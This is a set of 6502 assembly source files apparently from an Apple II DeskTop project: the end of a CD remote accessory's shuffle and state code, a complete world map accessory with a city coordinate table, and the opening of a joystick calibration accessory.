FindRandomUnplayed:
jsr TrackPseudoRNGSub
tay
lda (PlayedListPtr),y
beq FoundUnplayedTrack
dex
bne FindRandomUnplayed
;; Toggle PLDirection from $01 to $FF (+1 to -1)
lda #$fe
eor PlayedListDirection
sta PlayedListDirection
;; Fallback routine to always find an unplayed track by adding "Direction" to the offset until one is found
FallbackTrackSelect:
tya
clc
adc PlayedListDirection
tay
bne OffsetNotZero
ldy HexTrackCount0Base
jmp TryThisTrack
OffsetNotZero:
cpy HexTrackCount0Base
beq TryThisTrack
bmi TryThisTrack
ldy #$01
TryThisTrack:
lda (PlayedListPtr),y
bne FallbackTrackSelect
;; Mark the PlayedList element for the selected Track to $FF ("played") and set BCDRandomPickedTrk to the BCD Track number
FoundUnplayedTrack:
lda #$ff
sta (PlayedListPtr),y
tya
jsr Hex2BCDSorta
sta BCDRandomPickedTrk
pla
tay
pla
tax
pla
rts
.endproc ; PickARandomTrack
PlayedListDirection:
.byte $00
;;; ============================================================
;; TODO: Analysis - Understand the operation of this subroutine better, improve comments
.proc TrackPseudoRNGSub
stx PRNGSaveX
;; Return A as (Seed * 253) mod HexMaxTrackOffset
sty PRNGSaveY
;; 253 - not sure why?
ldx #$fd
lda RandomSeed
bne PRNGSeedIsValid
clc
adc #1
;; A = RandFuncTempStorage = Seed (adjusted to 1-255)
PRNGSeedIsValid:
sta RandFuncTempStorage
dex
;; Add the seed to A, 252 times.
PRNGMathLoop1:
clc
adc RandFuncTempStorage
dex
bne PRNGMathLoop1
clc
adc #$01
and #$7f
bne PRNGMathLoop2
clc
adc #1
PRNGMathLoop2:
cmp HexTrackCount0Base
bmi ExitMathLoop2
clc
sbc HexTrackCount0Base
jmp PRNGMathLoop2
ExitMathLoop2:
clc
adc #1
PRNGSaveY := *+1
ldy #SELF_MODIFIED_BYTE
PRNGSaveX := *+1
ldx #SELF_MODIFIED_BYTE
rts
.endproc ; TrackPseudoRNGSub
;;; ============================================================
;; This just zeroes all 99 elements in the Played List
.proc ClearPlayedList
lda #$00
ldy #99
CPLLoop:
sta (PlayedListPtr),y
dey
bpl CPLLoop
rts
.endproc ; ClearPlayedList
;;; ============================================================
;; Set up the ($1F) Played List ZP pointer and zero all the Played List elements
.proc InitPlayedList
lda PlayedListAddr
sta PlayedListPtr
lda PlayedListAddr + 1
sta PlayedListPtr + 1
jsr ClearPlayedList
;; Zero the Played Track Counter
lda #$00
sta HexPlayedCount0Base
;; Set the PLDirection initially to +1
lda #$01
sta PlayedListDirection
rts
.endproc ; InitPlayedList
;;; ============================================================
;; TODO: Analysis - WTF is going on here?? This *seems* like an attempt to convert from BCD to binary, but it's... not. It's kinda wonky.
.proc Hex2BCDSorta
stx Hex2BCDSaveX
;; TODO: Analysis - The return values from this function seem bizarre and inexplicable. Better analysis needs to be done on this code.
sty Hex2BCDSaveY
ldx #$00
DivideBy10:
cmp #$0a
bmi TenOrLess
inx
clc
sbc #$0a
jmp DivideBy10
TenOrLess:
sta Hex2BCDTemp
txa
clc
rol a
rol a
rol a
rol a
clc
adc Hex2BCDTemp
Hex2BCDSaveY := *+1
ldy #SELF_MODIFIED_BYTE
Hex2BCDSaveX := *+1
ldx #SELF_MODIFIED_BYTE
rts
Hex2BCDTemp:
.byte $00
.endproc ; Hex2BCDSorta
;;; ============================================================
;; UI Button Flags: $00 = "Inactive" button and dim in UI, $FF = "Active" button and highlighted in UI
PlayButtonState: .byte $00
StopButtonState: .byte $00
PauseButtonState: .byte $00
LoopButtonState: .byte $00
RandomButtonState: .byte $00
;; $00 = M/S/F, $FF = Track
TrackOrMSFFlag: .byte $00
;; $00 = Not Playing, $FF = Playing
DrivePlayingFlag: .byte $00
;; $00 = TOC has been read and is valid, $FF = TOC has not been read and is invalid
TOCInvalidFlag: .byte $00
;; SmartPort Unit Number of the CD-ROM
CD_SPDevNum: .byte $00
;; Slot with the SCSI card
CardSlot: .byte $00
;; Counter for SmartPort/SCSI operation retries
RetryCount: .byte $00
;; BCD T/M/S values of the Relative (track-level) current read position as reported by the disc's Q Subcode channel
BCDRelTrack: .byte $00
BCDRelMinutes: .byte $00
BCDRelSeconds: .byte $00
;; BCD values of the "First" and "Last" Tracks for the current playback mode (random/sequential)
BCDFirstTrackNow: .byte $00
BCDLastTrackNow: .byte $00
;; BCD value of the randomly picked Track to play
BCDRandomPickedTrk: .byte $00
;; Hex value of the number of tracks played in the current random session, minus 1 (0-based)
HexPlayedCount0Base: .byte $00
;; BCD values of the First and Last Tracks on the disc as read from the TOC
BCDFirstTrackTOC: .byte $00
BCDLastTrackTOC: .byte $00
;; BCD value of the number of Tracks on the disc, minus 1 (0-based)
BCDTrackCount0Base: .byte $00
;; BCD M/S/F values of the Absolute (disc-level) current read position as reported by the disc's Q Subcode channel
BCDAbsMinutes: .byte $00
BCDAbsSeconds: .byte $00
BCDAbsFrame: .byte $00
;; Hex value of the number of Tracks on the disc, minus 1 (0-based)
HexTrackCount0Base: .byte $00
;; Random seed, generated by continuously incrementing while iterating the main program loop
RandomSeed: .byte $00
;; Temporary variable for randomization operations
RandFuncTempStorage: .byte $00
;; List of flags identifying Tracks that have been played in the current random session (provides no-repeat random capability)
PlayedList:
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
PlayedListAddr:
.addr PlayedList
.endscope ; cdremote
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 35,558
|
src/desk.acc/map.s
|
;;; ============================================================
;;; MAP - Desk Accessory
;;;
;;; A simple world map
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "map.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/letk.inc"
.include "../toolkits/btk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Resources
kMapLeft = 10
kMapTop = 5
kMapWidth = 230
kMapHeight = 52
.params y_to_lat
number: .word 180 ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word kMapHeight ; (in) constant
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
.params x_to_long
number: .word 360 ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word kMapWidth ; (in) constant
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
.params lat_to_y
number: .word kMapHeight ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word 180 ; (in) constant
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
.params long_to_x
number: .word kMapWidth ; (in) constant
numerator: .word 0 ; (in) populated dynamically
denominator: .word 360 ; (in) constant
result: .word 0 ; (out)
remainder: .word 0 ; (out)
.endparams
pensize_normal: .byte 1, 1
pensize_frame: .byte 2, 1
DEFINE_RECT_SZ frame_rect, kMapLeft - 4, kMapTop - 2, kMapWidth + 6, kMapHeight + 3
DEFINE_RECT_SZ map_rect, kMapLeft, kMapTop, kMapWidth, kMapHeight
kControlsLeft = 6
kControlsRight = kDAWidth - kControlsLeft
kRow1 = kMapTop + kMapHeight + 6
kRow2 = kRow1 + kTextBoxHeight + 4
kRow3 = kRow2 + kSystemFontHeight + 4
kTextBoxLeft = kControlsLeft
kTextBoxTop = kRow1
kTextBoxWidth = kControlsRight - kButtonWidth - kControlsLeft * 2
DEFINE_RECT_SZ input_rect, kTextBoxLeft, kTextBoxTop, kTextBoxWidth, kTextBoxHeight
DEFINE_BUTTON find_button, kDAWindowId, res_string_button_find, kGlyphReturn, kControlsRight - kButtonWidth, kTextBoxTop
kLabelLeft = kControlsLeft + kTextBoxTextHOffset
kValueLeft = 80
DEFINE_LABEL lat, res_string_latitude, kLabelLeft, kRow2 + kSystemFontHeight
DEFINE_POINT pos_lat, kValueLeft, kRow2 + kSystemFontHeight
DEFINE_LABEL long, res_string_longitude, kLabelLeft, kRow3 + kSystemFontHeight
DEFINE_POINT pos_long, kValueLeft, kRow3 + kSystemFontHeight
str_spaces:
PASCAL_STRING " "
str_degree_suffix:
PASCAL_STRING {kGlyphDegreeSign, " "}
str_n: PASCAL_STRING res_string_dir_n
str_s: PASCAL_STRING res_string_dir_s
str_e: PASCAL_STRING res_string_dir_e
str_w: PASCAL_STRING res_string_dir_w
.params map_params
DEFINE_POINT viewloc, kMapLeft, kMapTop
mapbits: .addr map_bitmap
mapwidth: .byte (kMapWidth+6)/7
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kMapWidth-1, kMapHeight-1
REF_MAPINFO_MEMBERS
.endparams
map_bitmap:
PIXELS "......................................................................................................................................................................................................................................"
PIXELS ".........................................................................................##########..................................................................................................................................."
PIXELS "..........................................................##############...################################.....................###...............##..#####...................###....................................................."
PIXELS "..........................................#########################..##################################...................########...............................................####................................................."
PIXELS "...................................############################...............########################...............................................####................####################....##........#####......................"
PIXELS "#...........##########........#####.....########....###...#############.........####################...........................########.............###.......###.###################################..##################............."
PIXELS "######...#####################################################.....########......###############....#.####..................#################.....####################################################################################"
PIXELS "...###..######################################################.......####.........#######............####...............########.####################################################################################################."
PIXELS "..........#############################################..........#####...#..........####..............................########...#####################################################################################...#.######....."
PIXELS ".............####...........##############################.......###########...................................##.......#..##...############################################################################..........####..#........."
PIXELS ".........##....................###############################..###############.............................##..####...####################################################################################.#.........###........#...."
PIXELS ".#..#.............................###########################################.##...............................###..########################################################################################.#.......#................"
PIXELS "....................................######################################....####...............................#################################..#######################################################..#........................"
PIXELS "....................................##################################.......................................########################.......#####...#####################################################....##......................."
PIXELS "....................................################################.............................#...........######.....#...#..##..###############...###############################################........#........................."
PIXELS ".....................................#############################............................................###...#####....#..##..############################################################...##..#####.........................."
PIXELS ".......................................#########################.............................................###############....##.......#######################################################......####............................"
PIXELS ".........................................##.###########......##........................................#....#####################################################################################....................................."
PIXELS ".........#................................##.########..........#..#.......................................##############################..########...###########################################......................................"
PIXELS "............#..#............................#..######.....##.####.......................................##################################..############......###############################..#......................................"
PIXELS "...............##................................######..###......#.####...#............................###################################..##########..........########.....########..#......................#......................"
PIXELS ".....................................................#########..............#......................#....####################################..#####..............#####..........########.......##....................................."
PIXELS "...........................................................###......####................................######################################....#...............####.......#....######........##...................................."
PIXELS "..............................................................###############.............................#########################################.............#..##.#...........#...#..........##....#...#.......#.........#..#....."
PIXELS "..................................................................################..........................#########..###########################....................#........#...##......###.........................#.............."
PIXELS "..............#.........................................#........##################......................................#######################.................#..............#####....#####.....#.........................#........"
PIXELS "..........................................................#.....########################................................#####################.....................................####...####..#....####.####........................."
PIXELS "...#............#..............................................#############################..............................##################........................................##.........#.#.......#######...#.................."
PIXELS "............#.............#.....................................#############################..............................#################...........................................##.##.#....#........#######....##.............."
PIXELS ".....#...#........................................................#########################................................##################.....#...................................................###...##............#..........."
PIXELS "....................#...#..........................................#######################................................##################....###..............................................#########..###..............#........"
PIXELS ".#..#........#............#...........................................###################..................................###############.....###.............................................##################.............#....#.."
PIXELS "......................................................................#################.....................................#############.....###..........................................#######################.........#.........."
PIXELS ".......................#..............................................##############........................................############.......#...........................................#########################.................."
PIXELS ".....................................................................##############..........................................##########.....................................................########################.................."
PIXELS ".....................................................................############..............................................######........................................................####.......###########..................."
PIXELS "....................................................................##########.............................................................................................................................#######...............##..."
PIXELS "....................................................................########.....................................................................................................................................................###.."
PIXELS "..#.................................................................#####......................................................................................................................................##............####....."
PIXELS "...................................................................#####....................................................................................................................................................###......."
PIXELS "...................................................................####.....##................................................................................##......................................................................"
PIXELS "....................................................................#####.................##.........................................................................................................................................."
PIXELS "..................................................................................................#..................................................................................................................................."
PIXELS "......................................................................................#..............................................................................................................................................."
PIXELS "..........................................................................####........................................................................................................................................................"
PIXELS "........................................................................####...................................................................###########..............########################################......................"
PIXELS "..................................................#####...........##########................................###################################################################################################################......."
PIXELS "...........................##################....############################........................#######################################################################################################################.........."
PIXELS ".######...############################################################################.....################################################################################################################################...#####..."
PIXELS "######################################################################################################################################################################################################################################"
PIXELS "######################################################################################################################################################################################################################################"
PIXELS "######################################################################################################################################################################################################################################"
;;; ============================================================
str_from_int: PASCAL_STRING "000,000" ; filled in by IntToString
;;; ============================================================
kDAWindowId = $80
kDAWidth = kMapWidth + 19
kDAHeight = kMapHeight + 51
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
.include "../lib/event_params.s"
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport_win
.endparams
grafport_win: .tag MGTK::GrafPort
.params trackgoaway_params
clicked: .byte 0
.endparams
;;; ============================================================
lat: .word 0
long: .word 0
kPositionMarkerWidth = 11
kPositionMarkerHeight = 7
.params position_marker_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr position_marker_bitmap
mapwidth: .byte 2
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kPositionMarkerWidth-1, kPositionMarkerHeight-1
REF_MAPINFO_MEMBERS
.endparams
xcoord := position_marker_params::viewloc::xcoord
ycoord := position_marker_params::viewloc::ycoord
position_marker_bitmap:
PIXELS ".....#....."
PIXELS "..#..#..#.."
PIXELS "...#...#..."
PIXELS "###.....###"
PIXELS "...#...#..."
PIXELS "..#..#..#.."
PIXELS ".....#....."
;;; ============================================================
;;; Line Edit
cursor_ibeam_flag: .byte 0 ; bit7
kBufSize = 16 ; max length = 15, length
buf_search: .res kBufSize, 0 ; search term
DEFINE_LINE_EDIT line_edit_rec, kDAWindowId, buf_search, kTextBoxLeft, kTextBoxTop, kTextBoxWidth, kBufSize - 1
DEFINE_LINE_EDIT_PARAMS le_params, line_edit_rec
;;; ============================================================
.proc Init
copy8 #0, buf_search
MGTK_CALL MGTK::OpenWindow, winfo
LETK_CALL LETK::Init, le_params
jsr UpdateCoordsFromLatLong
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
LETK_CALL LETK::Activate, le_params
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
LETK_CALL LETK::Idle, le_params
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
jsr IdlePositionIndicator
jsr GetNextEvent
cmp #kEventKindMouseMoved
jeq HandleMouseMove
cmp #MGTK::EventKind::button_down
beq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
bne InputLoop ; always
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
jmp InputLoop
END_IF
cmp #CHAR_ESCAPE
beq Exit
IF_A_EQ #CHAR_RETURN
BTK_CALL BTK::Flash, find_button
jsr DoFind
jmp InputLoop
END_IF
copy8 event_params::key, le_params::key
copy8 event_params::modifiers, le_params::modifiers
LETK_CALL LETK::Key, le_params
jmp InputLoop
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
jne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
jeq HandleClick
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
bne Exit
jmp InputLoop
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
bit dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
LETK_CALL LETK::Update, le_params ; window moved
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc DoFind
ptr := $06
;; Erase old position
jsr SetPort
IF_EQ
jsr HidePositionIndicator
END_IF
copy16 #location_table, ptr
copy8 #0, index
loop:
;; Compare lengths
ldy #0
lda (ptr),y
cmp buf_search
bne next
tay
DO
lda buf_search,y
jsr ToUpperCase
cmp (ptr),y
bne next
dey
WHILE_NOT_ZERO
;; Match!
ldy #0
lda (ptr),y
tay
iny ; past end of string
ldx #0 ; copy next 4 bytes into `lat` and `long`
DO
copy8 (ptr),y, lat,x
iny
inx
WHILE_X_NE #4
jmp done
;; Advance pointer to next record
next: inc index
lda index
cmp #kNumLocations
beq fail
ldy #0 ; string length
lda (ptr),y
clc
adc #1+4 ; size of length byte + coords
clc
adc ptr
sta ptr
bcc :+
inc ptr+1
:
jmp loop
fail: JSR_TO_MAIN JUMP_TABLE_BELL
done: ;; Update display
jsr SetPort
IF_EQ
jsr DrawLatLong
END_IF
rts
index: .byte 0
.endproc ; DoFind
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
.proc HandleClick
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
;; Click in button?
MGTK_CALL MGTK::InRect, find_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, find_button
IF_NC
jsr DoFind
END_IF
jmp done
END_IF
;; Click in line edit?
MGTK_CALL MGTK::InRect, input_rect
IF_NE
COPY_STRUCT screentowindow_params::window, le_params::coords
LETK_CALL LETK::Click, le_params
jmp done
END_IF
;; Click in map?
MGTK_CALL MGTK::InRect, map_rect
jeq done ; nope
;; Erase old position
jsr SetPort
IF_EQ
jsr HidePositionIndicator
END_IF
;; Compute new position
;; Map latitude to +90...-90
sub16 screentowindow_params::windowy, #kMapTop, y_to_lat::numerator
MGTK_CALL MGTK::MulDiv, y_to_lat
sub16 #90, y_to_lat::result, lat
;; Map longitude to -180...+180
sub16 screentowindow_params::windowx, #kMapLeft+1, x_to_long::numerator
MGTK_CALL MGTK::MulDiv, x_to_long
sub16 x_to_long::result, #180, long
;; Update display
jsr SetPort
IF_EQ
jsr DrawLatLong
END_IF
done: jmp InputLoop
.endproc ; HandleClick
;;; ============================================================
penXOR: .byte MGTK::penXOR
notpencopy: .byte MGTK::notpencopy
;;; ============================================================
;;; Output: Z=1 if ok, Z=0 / A = MGTK::Error on error
.proc SetPort
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_ZERO
MGTK_CALL MGTK::SetPort, grafport_win
END_IF
rts
.endproc ; SetPort
;;; ============================================================
.proc HandleMouseMove
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, input_rect
bne inside
outside:
bit cursor_ibeam_flag
bpl done
CLEAR_BIT7_FLAG cursor_ibeam_flag
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
jmp done
inside:
bit cursor_ibeam_flag
bmi done
SET_BIT7_FLAG cursor_ibeam_flag
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::ibeam
done: jmp InputLoop
.endproc ; HandleMouseMove
;;; ============================================================
.proc DrawWindow
;; If we're drawing the window, the indicator is implicitly
;; not currently visible.
CLEAR_BIT7_FLAG indicator_flag
;; Defer if content area is not visible
jsr SetPort
IF_ZERO
MGTK_CALL MGTK::HideCursor
;; ==============================
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::PaintBitsHC, map_params
MGTK_CALL MGTK::MoveTo, lat_label_pos
param_call DrawString, lat_label_str
MGTK_CALL MGTK::MoveTo, long_label_pos
param_call DrawString, long_label_str
jsr DrawLatLong
BTK_CALL BTK::Draw, find_button
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FrameRect, input_rect
;; ==============================
MGTK_CALL MGTK::ShowCursor
END_IF
rts
.endproc ; DrawWindow
;;; ============================================================
;;; Assert: Correct GrafPort selected
.proc DrawLatLong
;; Latitude
copy16 lat, tmp
CLEAR_BIT7_FLAG sflag
bit tmp+1
IF_NS
SET_BIT7_FLAG sflag
sub16 #0, tmp, tmp
END_IF
ldax tmp
jsr IntToString
MGTK_CALL MGTK::MoveTo, pos_lat
param_call DrawString, str_from_int
param_call DrawString, str_degree_suffix
bit sflag
IF_NC
param_call DrawString, str_n
ELSE
param_call DrawString, str_s
END_IF
param_call DrawString, str_spaces
;; Longitude
copy16 long, tmp
CLEAR_BIT7_FLAG sflag
bit tmp+1
IF_NS
SET_BIT7_FLAG sflag
sub16 #0, tmp, tmp
END_IF
ldax tmp
jsr IntToString
MGTK_CALL MGTK::MoveTo, pos_long
param_call DrawString, str_from_int
param_call DrawString, str_degree_suffix
bit sflag
IF_NC
param_call DrawString, str_e
ELSE
param_call DrawString, str_w
END_IF
param_call DrawString, str_spaces
jsr UpdateCoordsFromLatLong
jmp ShowPositionIndicator
tmp: .word 0
sflag: .byte 0
.endproc ; DrawLatLong
;;; ============================================================
.proc IdlePositionIndicator
lda blink_counter
ora blink_counter+1
IF_ZERO
jsr ResetBlinkCounter
jsr SetPort
IF_EQ
jsr XDrawPositionIndicator
END_IF
END_IF
dec16 blink_counter
rts
.endproc ; IdlePositionIndicator
;;; ============================================================
;;; Assert: Correct GrafPort selected
;;; Assert: `UpdateCoordsFromLatLong` has been called
.proc ShowPositionIndicator
bit indicator_flag
RTS_IF_NC
FALL_THROUGH_TO XDrawPositionIndicator
.endproc ; ShowPositionIndicator
HidePositionIndicator := ShowPositionIndicator
.proc XDrawPositionIndicator
lda indicator_flag
eor #$80
sta indicator_flag
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::PaintBitsHC, position_marker_params
rts
.endproc ; XDrawPositionIndicator
indicator_flag: ; bit7 = indicator is visible
.byte 0
.proc ResetBlinkCounter
ldx #DeskTopSettings::caret_blink_speed
jsr ReadSetting
sta blink_counter
inx ; `ReadSetting` preserves X
jsr ReadSetting
sta blink_counter+1
lsr16 blink_counter
rts
.endproc ; ResetBlinkCounter
blink_counter:
.word 0
;;; ============================================================
.proc UpdateCoordsFromLatLong
;; Map latitude from +90...-90
sub16 #90, lat, lat_to_y::numerator ; 90...-90 to 0...180
MGTK_CALL MGTK::MulDiv, lat_to_y
add16 lat_to_y::result, #kMapTop - (kPositionMarkerHeight/2), ycoord
;; Map longitude from -180...+180
add16 long, #180, long_to_x::numerator ; -180...180 to 0...360
MGTK_CALL MGTK::MulDiv, long_to_x
add16 long_to_x::result, #kMapLeft+1 - (kPositionMarkerWidth/2), xcoord
rts
.endproc ; UpdateCoordsFromLatLong
;;; ============================================================
.include "../lib/drawstring.s"
.include "../lib/inttostring.s"
.include "../lib/get_next_event.s"
;;; ============================================================
loc_count .set 0
.macro DEFINE_LOCATION name, lat, long
PASCAL_STRING name
.word AS_WORD(lat)
.word AS_WORD(long)
loc_count .set loc_count+1
.endmacro
location_table:
DEFINE_LOCATION "ABIDJAN", 5, -4
DEFINE_LOCATION "ALEXANDRIA", 31, 29
DEFINE_LOCATION "AUCKLAND", -36, 174
DEFINE_LOCATION "BANGALORE", 12, 77
DEFINE_LOCATION "BANGKOK", 13, 100
DEFINE_LOCATION "BEIJING", 39, 116
DEFINE_LOCATION "BERLIN", 52, 13
DEFINE_LOCATION "BOGOTA", 4, -74
DEFINE_LOCATION "BUCHAREST", 44, 26
DEFINE_LOCATION "BUENOS AIRES", -34, -58
DEFINE_LOCATION "CAIRO", 30, 31
DEFINE_LOCATION "CALGARY", 51, -114
DEFINE_LOCATION "CAPE TOWN", -33, 18
DEFINE_LOCATION "CARACAS", 10, -66
DEFINE_LOCATION "CHENGDU", 30, 104
DEFINE_LOCATION "CHENNAI", 13, 80
DEFINE_LOCATION "CHICAGO", 41, -87
DEFINE_LOCATION "CHONGQING", 29, 106
DEFINE_LOCATION "CUPERTINO", 37, -122
DEFINE_LOCATION "DAR ES SALAAM", -6, 39
DEFINE_LOCATION "DELHI", 28, 77
DEFINE_LOCATION "DHAKA", 23, 90
DEFINE_LOCATION "GUANGZHOU", 23, 113
DEFINE_LOCATION "HAVANA", 23, -82
DEFINE_LOCATION "HO CHI MINH", 10, 106
DEFINE_LOCATION "HONG KONG", 22, 114
DEFINE_LOCATION "HONOLULU", 21, -157
DEFINE_LOCATION "HOUSTON", 29, -95
DEFINE_LOCATION "HYDERABAD", 17, 78
DEFINE_LOCATION "ISTANBUL", 41, 28
DEFINE_LOCATION "JAKARTA", -6, 106
DEFINE_LOCATION "JOHANNESBURG", -26, 28
DEFINE_LOCATION "KANSAS CITY", 39, -94
DEFINE_LOCATION "KARACHI", 24, 67
DEFINE_LOCATION "KHARTOUM", 15, 32
DEFINE_LOCATION "KINSHASA", -4, 15
DEFINE_LOCATION "KOLKATA", 22, 88
DEFINE_LOCATION "KYIV", 50, 30
DEFINE_LOCATION "LAGOS", 6, 3
DEFINE_LOCATION "LAHORE", 31, 74
DEFINE_LOCATION "LIMA", -12, -77
DEFINE_LOCATION "LISBON", 38, -9
DEFINE_LOCATION "LONDON", 51, 0
DEFINE_LOCATION "LOS ANGELES", 34, -118
DEFINE_LOCATION "MADRID", 40, -3
DEFINE_LOCATION "MANILA", 14, 120
DEFINE_LOCATION "MEXICO CITY", 19, -99
DEFINE_LOCATION "MOSCOW", 55, 37
DEFINE_LOCATION "MONTREAL", 45, -73
DEFINE_LOCATION "MUMBAI", 19, 72
DEFINE_LOCATION "NAGOYA", 35, 136
DEFINE_LOCATION "NAIROBI", -1, 36
DEFINE_LOCATION "NEW YORK", 40, -74
DEFINE_LOCATION "OSAKA", 34, 135
DEFINE_LOCATION "OTTAWA", 45, -75
DEFINE_LOCATION "PAPEETE", -17, -149
DEFINE_LOCATION "PARIS", 48, 2
DEFINE_LOCATION "RIO DE JANEIRO", -22, -43
DEFINE_LOCATION "ROME", 41, 12
DEFINE_LOCATION "ST PETERSBURG", 59, 30
DEFINE_LOCATION "SAN FRANCISCO", 37, -122
DEFINE_LOCATION "SANTIAGO", -33, -70
DEFINE_LOCATION "SAO PAULO", -23, -46
DEFINE_LOCATION "SEATTLE", 47, -122
DEFINE_LOCATION "SEOUL", 37, 126
DEFINE_LOCATION "SHANGHAI", 31, 121
DEFINE_LOCATION "SHENZHEN", 22, 114
DEFINE_LOCATION "SINGAPORE", 1, 103
DEFINE_LOCATION "SOFIA", 43, 23
DEFINE_LOCATION "SPRINGFIELD", 40, -90
DEFINE_LOCATION "SUZHOU", 31, 120
DEFINE_LOCATION "SYDNEY", -33, 151
DEFINE_LOCATION "TIANJIN", 39, 117
DEFINE_LOCATION "TEHRAN", 35, 51
DEFINE_LOCATION "TOKYO", 35, 139
DEFINE_LOCATION "TORONTO", 43, -79
DEFINE_LOCATION "VANCOUVER", 49, -123
DEFINE_LOCATION "VICTORIA", 48, -123
DEFINE_LOCATION "WASHINGTON", 38, -77
DEFINE_LOCATION "XIAMEN", 24, 118
kNumLocations = loc_count
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::Init
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 16,299
|
src/desk.acc/joystick.s
|
;;; ============================================================
;;; JOYSTICK - Desk Accessory
;;;
;;; A simple joystick calibration tool
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "joystick.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
kDAWidth = 270
kDAHeight = 85
kDALeft = (kScreenWidth - kDAWidth)/2
